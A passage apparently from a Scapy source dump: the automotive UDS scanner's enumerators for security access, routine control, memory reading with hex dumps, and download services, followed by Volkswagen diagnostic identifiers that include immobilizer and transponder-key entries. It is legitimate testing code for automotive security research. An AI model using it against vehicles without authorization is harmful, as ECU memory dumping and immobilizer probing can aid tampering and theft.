get_new_edge(self, socket, config):\n        # type: (_SocketUnion, AutomotiveTestCaseExecutorConfiguration) -> Optional[_Edge]  # noqa: E501\n        last_resp = self._results[-1].resp\n        last_state = self._results[-1].state\n\n        if last_resp is None or last_resp.service == 0x7f:\n            return None\n\n        try:\n            if last_resp.service != 0x67 or \\\n                    last_resp.securityAccessType % 2 != 1:\n                return None\n\n            seed = last_resp\n            sec_lvl = seed.securityAccessType\n\n            if self.get_security_access(socket, sec_lvl, seed):\n                log_automotive.debug(\"Security Access found.\")\n                # create edge\n                new_state = copy.copy(last_state)\n                new_state.security_level = seed.securityAccessType + 1  # type: ignore  # noqa: E501\n                if last_state == new_state:\n                    return None\n                edge = (last_state, new_state)\n                self._transition_function_args[edge] = \\\n                    {\"level\": sec_lvl, \"desc\": \"SA=%d\" % sec_lvl}\n                return edge\n        except AttributeError:\n            pass\n\n        return None\n\n    def get_transition_function(self, socket, edge):\n        # type: (_SocketUnion, _Edge) -> Optional[_TransitionTuple]\n        return self.transition_function, \\\n            self._transition_function_args[edge], None\n\n\nclass UDS_RCEnumerator(UDS_Enumerator):\n    _description = \"Available RoutineControls and negative response per state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'type_list': (list, lambda x: max(x) < 0x100 and min(x) >= 0)\n    })\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0)\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param list type_list: A list of RoutineControlTypes which should\n                               be enumerated. Possible values = [1, 2, 3].\n                               \"\"\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        type_list = kwargs.pop(\"type_list\", [1, 2, 3])\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n\n        return (\n            UDS() / UDS_RC(routineControlType=rc_type,\n                           routineIdentifier=data_id)\n            for rc_type, data_id in itertools.product(type_list, scan_range)\n        )\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x-%d: %s\" % (\n            tup[1].routineIdentifier, tup[1].routineControlType,\n            tup[1].sprintf(\"%UDS_RC.routineIdentifier%\"))\n\n\nclass UDS_RCStartEnumerator(UDS_RCEnumerator):\n    _description = \"Available RoutineControls and negative response per state\"\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        if \"type_list\" in kwargs:\n            raise KeyError(\"'type_list' already set in kwargs.\")\n        kwargs[\"type_list\"] = [1]\n        return super(UDS_RCStartEnumerator, self). \\\n            _get_initial_requests(**kwargs)\n\n\nclass UDS_RCSelectiveEnumerator(StagedAutomotiveTestCase):\n    # Used to expand points to both sites\n    # So, the total block size will be 253 * 2 = 506\n    expansion_width = 253\n\n    @staticmethod\n    def points_to_ranges(pois):\n        # type: (Iterable[int]) -> Iterable[int]\n        expansion_width = UDS_RCSelectiveEnumerator.expansion_width\n        generators = []\n        for identifier in pois:\n            start = max(identifier - expansion_width, 0)\n            end = min(identifier + expansion_width + 1, 0x10000)\n            generators.append(range(start, end))\n        ranges_with_overlaps = itertools.chain.from_iterable(generators)\n        return sorted(set(ranges_with_overlaps))\n\n    @staticmethod\n    def __connector_start_to_rest(rc_start, _rc_stop):\n        # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any]  # noqa: E501\n        rc_start = cast(UDS_Enumerator, rc_start)\n        identifiers_with_pr = [resp.routineIdentifier for _, _, resp, _, _\n                               in rc_start.results_with_positive_response]\n        scan_range = UDS_RCSelectiveEnumerator.points_to_ranges(\n            identifiers_with_pr)\n\n        return {\"type_list\": [2, 3],\n                \"scan_range\": scan_range}\n\n    def __init__(self):\n        # type: () -> None\n        super(UDS_RCSelectiveEnumerator, self).__init__(\n            [UDS_RCStartEnumerator(), UDS_RCEnumerator()],\n            [None, self.__connector_start_to_rest])\n\n\nclass UDS_IOCBIEnumerator(UDS_Enumerator):\n    _description = \"Available Input Output Controls By Identifier \" \\\n                   \"and negative response per state\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x10000 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        scan_range = kwargs.pop(\"scan_range\", range(0x10000))\n        return (UDS() / UDS_IOCBI(dataIdentifier=x) for x in scan_range)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        resp = tup[2]\n        if resp is not None:\n            return \"0x%04x: %s\" % \\\n                (tup[1].dataIdentifier,\n                 repr(resp.payload))\n        else:\n            return \"0x%04x: No response\" % tup[1].dataIdentifier\n\n\nclass UDS_RMBAEnumeratorABC(UDS_Enumerator):\n    _description = \"Readable Memory Addresses \" \\\n                   \"and negative response per state\"\n\n    @staticmethod\n    def get_addr(pkt):\n        # type: (UDS_RMBA) -> int\n        \"\"\"\n        Helper function to get the memoryAddress from a UDS_RMBA packet\n        :param pkt: UDS_RMBA request\n        :return: memory address of the request\n        \"\"\"\n        return getattr(pkt, \"memoryAddress%d\" % pkt.memoryAddressLen)\n\n    @staticmethod\n    def set_addr(pkt, addr):\n        # type: (UDS_RMBA, int) -> None\n        \"\"\"\n        Helper function to set the memoryAddress of a UDS_RMBA packet\n        :param pkt: UDS_RMBA request\n        :param addr: memory address to be set\n        \"\"\"\n        setattr(pkt, \"memoryAddress%d\" % pkt.memoryAddressLen, addr)\n\n    @staticmethod\n    def get_size(pkt):\n        # type: (UDS_RMBA) -> int\n        \"\"\"\n        Helper function to gets the memorySize of a UDS_RMBA packet\n        :param pkt: UDS_RMBA request\n        \"\"\"\n        return getattr(pkt, \"memorySize%d\" % pkt.memorySizeLen)\n\n    @staticmethod\n    def set_size(pkt, size):\n        # type: (UDS_RMBA, int) -> None\n        \"\"\"\n        Helper function to set the memorySize of a UDS_RMBA packet\n        :param pkt: UDS_RMBA request\n        :param size: memory size to be set\n        \"\"\"\n        set_size = min(2 ** (pkt.memorySizeLen * 8) - 1, size)\n        setattr(pkt, \"memorySize%d\" % pkt.memorySizeLen, set_size)\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x\" % self.get_addr(tup[1])\n\n    def _get_table_entry_z(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return self._get_label(tup[2], lambda r: \"PR: %s\" % r.dataRecord)\n\n\nclass UDS_RMBARandomEnumerator(UDS_RMBAEnumeratorABC):\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'unittest': (bool, None)\n    })\n    del _supported_kwargs[\"scan_range\"]\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param bool unittest: Enables smaller search space for unit-test\n                              scenarios. This saves execution time.\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_RMBARandomEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    @staticmethod\n    def _random_memory_addr_pkt(addr_len=None, size_len=None, size=None):\n        # type: (Optional[int], Optional[int], Optional[int]) -> Packet\n        pkt = UDS() / UDS_RMBA()  # type: Packet\n        pkt.memorySizeLen = size_len or random.randint(1, 4)\n        pkt.memoryAddressLen = addr_len or random.randint(1, 4)\n        UDS_RMBARandomEnumerator.set_size(pkt, size or 4)\n        UDS_RMBARandomEnumerator.set_addr(\n            pkt, random.randint(\n                0, (2 ** (8 * pkt.memoryAddressLen) - 1)) & 0xfffffff0)\n        return pkt\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        if kwargs.get(\"unittest\", False):\n            return itertools.chain(\n                (self._random_memory_addr_pkt(addr_len=2, size_len=2) for _ in range(100)),  # noqa: E501\n                (self._random_memory_addr_pkt(addr_len=3) for _ in range(2)),\n                (self._random_memory_addr_pkt(addr_len=4) for _ in range(2)))\n\n        return itertools.chain(\n            (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)),\n            (self._random_memory_addr_pkt(addr_len=2) for _ in range(500)),\n            (self._random_memory_addr_pkt(addr_len=3) for _ in range(1000)),\n            (self._random_memory_addr_pkt(addr_len=4) for _ in range(5000)))\n\n\nclass UDS_RMBASequentialEnumerator(UDS_RMBAEnumeratorABC):\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'points_of_interest': (list, None)\n    })\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param list points_of_interest: A list of _PointOfInterest objects as\n                                        starting points for sequential search.\n                                        \"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_RMBASequentialEnumerator, self).execute(\n            socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    def __init__(self):\n        # type: () -> None\n        super(UDS_RMBASequentialEnumerator, self).__init__()\n        self.__points_of_interest = defaultdict(\n            list)  # type: Dict[EcuState, List[_PointOfInterest]]  # noqa: E501\n        self.__initial_points_of_interest = None  # type: Optional[List[_PointOfInterest]]  # noqa: E501\n\n    def _get_memory_addresses_from_results(self, results):\n        # type: (Union[List[_AutomotiveTestCaseScanResult], List[_AutomotiveTestCaseFilteredScanResult]]) -> Set[int]  # noqa: E501\n        mem_areas = list()\n        for tup in results:\n            resp = tup.resp\n            if resp is not None and resp.service == 0x23:\n                mem_areas += [\n                    range(self.get_addr(tup.req),\n                          self.get_addr(tup.req) + len(resp.dataRecord))]\n            else:\n                mem_areas += [\n                    range(self.get_addr(tup.req), self.get_addr(tup.req) + 16)]\n\n        return set(list(itertools.chain.from_iterable(mem_areas)))\n\n    def __pois_to_requests(self, pois):\n        # type: (List[_PointOfInterest]) -> List[Packet]\n        tested_addrs = self._get_memory_addresses_from_results(\n            self.results_with_response)\n        testing_addrs = set()\n        new_requests = list()\n\n        for addr, upward, mem_size_len, mem_addr_len, mem_size in pois:\n            for i in range(0, mem_size * 50, mem_size):\n                if upward:\n                    addr = min(addr + i, 2 ** (8 * mem_addr_len) - 1)\n                else:\n                    addr = max(addr - i, 0)\n\n                if addr not in tested_addrs and \\\n                        (addr, mem_size) not in testing_addrs:\n                    pkt = UDS() / UDS_RMBA(memorySizeLen=mem_size_len,\n                                           memoryAddressLen=mem_addr_len)\n                    self.set_size(pkt, mem_size)\n                    self.set_addr(pkt, addr)\n                    new_requests.append(pkt)\n                    testing_addrs.add((addr, mem_size))\n\n        return new_requests\n\n    def __request_to_pois(self, req, resp):\n        # type: (Packet, Optional[Packet]) -> List[_PointOfInterest]\n\n        addr = self.get_addr(req)\n        size = self.get_size(req)\n        msl = req.memorySizeLen\n        mal = req.memoryAddressLen\n\n        if (resp is None or resp.service == 0x7f) and size > 1:\n            size = size // 2\n\n            return [\n                _PointOfInterest(addr, True, msl, mal, size),\n                _PointOfInterest(addr, False, msl, mal, size)]\n\n        if resp is not None and resp.service == 0x23:\n            return [\n                _PointOfInterest(addr + size, True, msl, mal, size),\n                _PointOfInterest(addr - size, False, msl, mal, size)]\n\n        return []\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        raise NotImplementedError\n\n    def pre_execute(self, socket, state, global_configuration):\n        # type: (_SocketUnion, EcuState, AutomotiveTestCaseExecutorConfiguration) -> None  # noqa: E501\n\n        if self.__initial_points_of_interest is None:\n            self.__initial_points_of_interest = \\\n                global_configuration[self.__class__.__name__].get(\n                    \"points_of_interest\", list())\n\n        if not self.__points_of_interest[state]:\n            # Transfer initial pois to current state pois\n            self.__points_of_interest[state] = \\\n                self.__initial_points_of_interest\n\n        new_requests = self.__pois_to_requests(\n            self.__points_of_interest[state])\n\n        if len(new_requests):\n            self._state_completed[state] = False\n            self._request_iterators[state] = new_requests\n            self.__points_of_interest[state] = list()\n        else:\n            self._request_iterators[state] = list()\n\n    def _evaluate_response(self,\n                           state,  # type: EcuState\n                           request,  # type: Packet\n                           response,  # type: Optional[Packet]\n                           **kwargs  # type: Optional[Dict[str, Any]]\n                           ):  # type: (...) -> bool  # noqa: E501\n        self.__points_of_interest[state] += \\\n            self.__request_to_pois(request, response)\n        return super(UDS_RMBASequentialEnumerator, self)._evaluate_response(\n            state, request, response, **kwargs)\n\n    def show(self, dump=False, filtered=True, verbose=False):\n        # type: (bool, bool, bool) -> Optional[str]\n        s = super(UDS_RMBASequentialEnumerator, self).show(\n            dump, filtered, verbose) or \"\"\n\n        try:\n            from intelhex import IntelHex\n\n            ih = IntelHex()\n            for tup in self.results_with_positive_response:\n                for i, b in enumerate(tup.resp.dataRecord):\n                    addr = self.get_addr(tup.req)\n                    ih[addr + i] = orb(b)\n\n            ih.tofile(\"RMBA_dump.hex\", format=\"hex\")\n        except ImportError:\n            err_msg = \"Install 'intelhex' to create a hex file of the memory\"\n            log_automotive.exception(err_msg)\n            with open(\"RMBA_dump.hex\", \"w\") as file:\n                file.write(err_msg)\n\n        if dump:\n            return s + \"\\n\"\n        else:\n            print(s)\n            return None\n\n\nclass UDS_RMBAEnumerator(StagedAutomotiveTestCase):\n    @staticmethod\n    def __connector_rand_to_seq(rand, _):\n        # type: (AutomotiveTestCaseABC, AutomotiveTestCaseABC) -> Dict[str, Any]  # noqa: E501\n        points_of_interest = list()  # type: List[_PointOfInterest]\n        rand = cast(UDS_RMBARandomEnumerator, rand)\n        for tup in rand.results_with_positive_response:\n            points_of_interest += \\\n                [_PointOfInterest(UDS_RMBAEnumeratorABC.get_addr(tup.req),\n                                  True, tup.req.memorySizeLen,\n                                  tup.req.memoryAddressLen, 0x80),\n                 _PointOfInterest(UDS_RMBAEnumeratorABC.get_addr(tup.req),\n                                  False, tup.req.memorySizeLen,\n                                  tup.req.memoryAddressLen, 0x80)]\n\n        return {\"points_of_interest\": points_of_interest}\n\n    def __init__(self):\n        # type: () -> None\n        super(UDS_RMBAEnumerator, self).__init__(\n            [UDS_RMBARandomEnumerator(), UDS_RMBASequentialEnumerator()],\n            [None, self.__connector_rand_to_seq])\n\n\nclass UDS_RDEnumerator(UDS_Enumerator):\n    _description = \"RequestDownload supported\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs.update({\n        'unittest': (bool, None)\n    })\n\n    _supported_kwargs_doc = ServiceEnumerator._supported_kwargs_doc + \"\"\"\n        :param bool unittest: Enables smaller search space for unit-test\n                              scenarios. This safes execution time.\"\"\"\n\n    def execute(self, socket, state, **kwargs):\n        # type: (_SocketUnion, EcuState, Any) -> None\n        super(UDS_RDEnumerator, self).execute(socket, state, **kwargs)\n\n    execute.__doc__ = _supported_kwargs_doc\n\n    @staticmethod\n    def _random_memory_addr_pkt(addr_len=None):  # noqa: E501\n        # type: (Optional[int]) -> Packet\n        pkt = UDS() / UDS_RD()  # type: Packet\n        pkt.dataFormatIdentifiers = random.randint(0, 16)\n        pkt.memorySizeLen = random.randint(1, 4)\n        pkt.memoryAddressLen = addr_len or random.randint(1, 4)\n        UDS_RMBARandomEnumerator.set_size(pkt, 0x10)\n        addr = random.randint(0, 2 ** (8 * pkt.memoryAddressLen) - 1) & (0xffffffff << (4 * pkt.memoryAddressLen))   # noqa: E501\n        UDS_RMBARandomEnumerator.set_addr(pkt, addr)\n        return pkt\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        if kwargs.get(\"unittest\", False):\n            return itertools.chain(\n                (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)),\n                (self._random_memory_addr_pkt(addr_len=2) for _ in range(500)))\n\n        return itertools.chain(\n            (self._random_memory_addr_pkt(addr_len=1) for _ in range(100)),\n            (self._random_memory_addr_pkt(addr_len=2) for _ in range(500)),\n            (self._random_memory_addr_pkt(addr_len=3) for _ in range(1000)),\n            (self._random_memory_addr_pkt(addr_len=4) for _ in range(5000)))\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%04x\" % UDS_RMBAEnumeratorABC.get_addr(tup[1])\n\n\nclass UDS_TDEnumerator(UDS_Enumerator):\n    _description = \"TransferData supported\"\n    _supported_kwargs = copy.copy(ServiceEnumerator._supported_kwargs)\n    _supported_kwargs[\"scan_range\"] = \\\n        ((list, tuple, range), lambda x: max(x) < 0x100 and min(x) >= 0)\n\n    def _get_initial_requests(self, **kwargs):\n        # type: (Any) -> Iterable[Packet]\n        cnt = kwargs.pop(\"scan_range\", range(0x100))\n        return cast(Iterable[Packet], UDS() / UDS_TD(blockSequenceCounter=cnt))\n\n    def _get_table_entry_y(self, tup):\n        # type: (_AutomotiveTestCaseScanResult) -> str\n        return \"0x%02x: %s\" % (\n            tup[1].blockSequenceCounter,\n            tup[1].sprintf(\"%UDS_TD.blockSequenceCounter%\"))\n\n\nclass UDS_Scanner(AutomotiveTestCaseExecutor):\n    \"\"\"\n    Example:\n        >>> def reconnect():\n        >>>     return UDS_DoIPSocket(\"169.254.186.237\")\n        >>>\n        >>> es = [UDS_ServiceEnumerator, UDS_DSCEnumerator]\n        >>>\n        >>> def reset():\n        >>>     reconnect().sr1(UDS()/UDS_ER(resetType=\"hardReset\"),\n        >>>                     verbose=False, timeout=1)\n        >>>\n        >>> s = UDS_Scanner(reconnect(), reconnect_handler=reconnect,\n        >>>                 reset_handler=reset, test_cases=es,\n        >>>                 UDS_DSCEnumerator_kwargs={\n        >>>                     \"timeout\": 20,\n        >>>                     \"overwrite_timeout\": False,\n        >>>                     \"scan_range\": [1, 3]})\n        >>>\n        >>> try:\n        >>>     s.scan()\n        >>> except KeyboardInterrupt:\n        >>>     pass\n        >>>\n        >>> s.show_testcases_status()\n        >>> s.show_testcases()\n    \"\"\"\n\n    @property\n    def default_test_case_clss(self):\n        # type: () -> List[Type[AutomotiveTestCaseABC]]\n        return [UDS_ServiceEnumerator, UDS_DSCEnumerator, UDS_TPEnumerator,\n                UDS_SAEnumerator, UDS_WDBISelectiveEnumerator,\n                UDS_RMBAEnumerator, UDS_RCEnumerator, UDS_IOCBIEnumerator]\n\n\ndef uds_software_reset(connection,  # type: _SocketUnion\n                       logger=log_automotive,  # type: logging.Logger\n                       timeout=0.5  # type: Union[int, float]\n                       ):  # type: (...) -> None\n    logger.debug(\"Reset procedure of target started.\")\n    resp = connection.sr1(UDS() / UDS_ER(resetType=1),\n                          timeout=timeout,\n                          verbose=False)\n    if resp and resp.service != 0x7f:\n        logger.debug(\"Reset procedure of target complete\")\n        return\n\n    logger.debug(\"Couldn't reset target with UDS_ER. \"\n                 \"At least try to set target back to DefaultSession\")\n    resp = connection.sr1(UDS() / UDS_DSC(b\"\\x01\"),\n                          verbose=False,\n                          timeout=timeout)\n    if resp and resp.service != 0x7f:\n        logger.debug(\"Target in DefaultSession\")\n        return\n\n    logger.error(\"Target not in DefaultSession. Software reset failed.\")\n"
  },
  {
    "path": "scapy/contrib/automotive/volkswagen/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive bmw specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/volkswagen/definitions.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n# Copyright (C) Jonas Schmidt <jonas.schmidt@st.othr.de>\n\n# scapy.contrib.description = Volkswagen specific definitions for UDS\n# scapy.contrib.status = skip\n\n\nfrom scapy.contrib.automotive.uds import UDS_RDBI, UDS_RC, UDS_RD\n\n\nUDS_RDBI.dataIdentifiers[0x00bd] = \"Theft Protection - Download GFA-Key\"\nUDS_RDBI.dataIdentifiers[0x00be] = \"Theft Protection - Download IKA-Key\"\nUDS_RDBI.dataIdentifiers[0x00fd] = \"IUMPR-ID3\"\nUDS_RDBI.dataIdentifiers[0x00fe] = \"IUMPR-ID2\"\nUDS_RDBI.dataIdentifiers[0x00ff] = \"IUMPR-ID1\"\nUDS_RDBI.dataIdentifiers[0x02cc] = \"Vehicle_identification_number_provisional\"\nUDS_RDBI.dataIdentifiers[0x02e0] = \"Immobilizer - Challenge\"\nUDS_RDBI.dataIdentifiers[0x02e1] = \"Immobilizer - Login\"\nUDS_RDBI.dataIdentifiers[0x02e2] = \"Immobilizer - Download Powertrain\"\nUDS_RDBI.dataIdentifiers[0x02e3] = \"Immobilizer - Download IMS\"\nUDS_RDBI.dataIdentifiers[0x02e4] = \"Transponder ID current Key\"\nUDS_RDBI.dataIdentifiers[0x02e5] = \"Transponder ID Key 1\"\nUDS_RDBI.dataIdentifiers[0x02e6] = \"Transponder ID Key 2\"\nUDS_RDBI.dataIdentifiers[0x02e7] = \"Transponder ID Key 3\"\nUDS_RDBI.dataIdentifiers[0x02e8] = \"Transponder ID Key 4\"\nUDS_RDBI.dataIdentifiers[0x02e9] = \"Transponder ID Key 5\"\nUDS_RDBI.dataIdentifiers[0x02ea] = \"Transponder ID Key 6\"\nUDS_RDBI.dataIdentifiers[0x02eb] = \"Transponder ID Key 7\"\nUDS_RDBI.dataIdentifiers[0x02ec] = \"Transponder ID Key 8\"\nUDS_RDBI.dataIdentifiers[0x02ed] = \"State of Immobilizer\"\nUDS_RDBI.dataIdentifiers[0x02ee] = \"State of Immobilizer Slaves\"\nUDS_RDBI.dataIdentifiers[0x02ef] = \"State Blocking Time\"\nUDS_RDBI.dataIdentifiers[0x02f1] = \"Immobilizer - Slave Login\"\nUDS_RDBI.dataIdentifiers[0x02f6] = \"Download WFS SHE\"\nUDS_RDBI.dataIdentifiers[0x02f9] = \"CRC32 Checksum of FAZIT Identification String\"\nUDS_RDBI.dataIdentifiers[0x02fa] = \"Adapted_transponders_checksum\"\nUDS_RDBI.dataIdentifiers[0x02fb] = \"Immobilizer - Download WFS 4\"\nUDS_RDBI.dataIdentifiers[0x02ff] = \"Immobilizer_snapshot\"\nUDS_RDBI.dataIdentifiers[0x0407] = \"VW Logical Software Block Counter Of Programming Attempts\"\nUDS_RDBI.dataIdentifiers[0x040f] = \"VW Logical Software Block Lock Value\"\nUDS_RDBI.dataIdentifiers[0x0410] = \"Bootloader TP Blocksize\"\nUDS_RDBI.dataIdentifiers[0x04a3] = \"Gateway Component List\"\nUDS_RDBI.dataIdentifiers[0x0600] = \"VW Coding Value\"\nUDS_RDBI.dataIdentifiers[0x0610] = \"Control_unit_for_wiper_motor_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0611] = \"Slave_list_VW_spare_part_number\"\nUDS_RDBI.dataIdentifiers[0x0612] = \"Slave_list_VW_software_version_number\"\nUDS_RDBI.dataIdentifiers[0x0613] = \"Slave_list_VW_ecu_hardware_version_number\"\nUDS_RDBI.dataIdentifiers[0x0614] = \"Slave_list_VW_hardware_number\"\nUDS_RDBI.dataIdentifiers[0x0615] = \"Slave_list_ecu_serial_number\"\nUDS_RDBI.dataIdentifiers[0x0616] = \"Slave_list_VW_FAZIT_identification_string\"\nUDS_RDBI.dataIdentifiers[0x0617] = \"Slave_list_VW_system_name_or_engine_type\"\nUDS_RDBI.dataIdentifiers[0x0618] = \"Left_rear_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0619] = \"Right_rear_seat_ventilation_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x061a] = \"Slave_component_list\"\nUDS_RDBI.dataIdentifiers[0x061b] = \"Slave_component_list_databus_identification\"\nUDS_RDBI.dataIdentifiers[0x061c] = \"Slave_component_list_ecu_identification\"\nUDS_RDBI.dataIdentifiers[0x061d] = \"Slave_component_list_present\"\nUDS_RDBI.dataIdentifiers[0x061e] = \"Right_headlamp_power_output_stage_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x061f] = \"Sensor_for_anti_theft_alarm_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0620] = \"Rear_lid_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0621] = \"Alarm_horn_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0622] = \"Automatic_day_night_interior_mirror_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0623] = \"Sun_roof_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0624] = \"Steering_column_lock_actuator_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0625] = \"Anti_theft_tilt_system_control_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0626] = \"Tire_pressure_monitor_antenna_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0627] = \"Heated_windshield_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0628] = \"Rear_light_left_1_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0629] = \"Ceiling_light_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062a] = \"Left_front_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062b] = \"Right_front_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062c] = \"Control_module_for_auxiliary_air_heater_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062d] = \"Ioniser_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062e] = \"Multi_function_steering_wheel_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x062f] = \"Left_rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0630] = \"Right_rear_door_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0631] = \"Left_rear_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0632] = \"Right_rear_massage_seat_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0633] = \"Display_unit_1_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0634] = \"Battery_monitoring_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0635] = \"Roof_blind_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0636] = \"Sun_roof_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0637] = \"Display_unit_2_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0638] = \"Telephone_handset_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0639] = \"Traffic_data_aerial_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063a] = \"Chip_card_reader_control_module_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063b] = \"Hands_free_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063c] = \"Telephone_handset_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063d] = \"Display_unit_front_for_multimedia_system_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063e] = \"Multimedia_operating_unit_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x063f] = \"Digital_sound_system_control_module_2_Coding_Values\"\nUDS_RDBI.dataIdentifiers[0x0640] = \"Control_unit_for_wiper_motor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0641] = \"Rain_light_recognition_sensor_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0642] = \"Light_switch_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0643] = \"Garage_door_opener_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0644] = \"Garage_door_opener_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0645] = \"Ignition_key_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0646] = \"Left_front_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0647] = \"Right_front_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0648] = \"Left_rear_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0649] = \"Right_rear_seat_ventilation_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064a] = \"Data_medium_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064b] = \"Drivers_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064c] = \"Front_passengers_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064d] = \"Left_headlamp_power_output_stage_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064e] = \"Right_headlamp_power_output_stage_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x064f] = \"Sensor_for_anti_theft_alarm_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0650] = \"Rear_lid_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0651] = \"Alarm_horn_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0652] = \"Automatic_day_night_interior_mirror_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0653] = \"Sun_roof_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0654] = \"Steering_column_lock_actuator_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0655] = \"Anti_theft_tilt_system_control_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0656] = 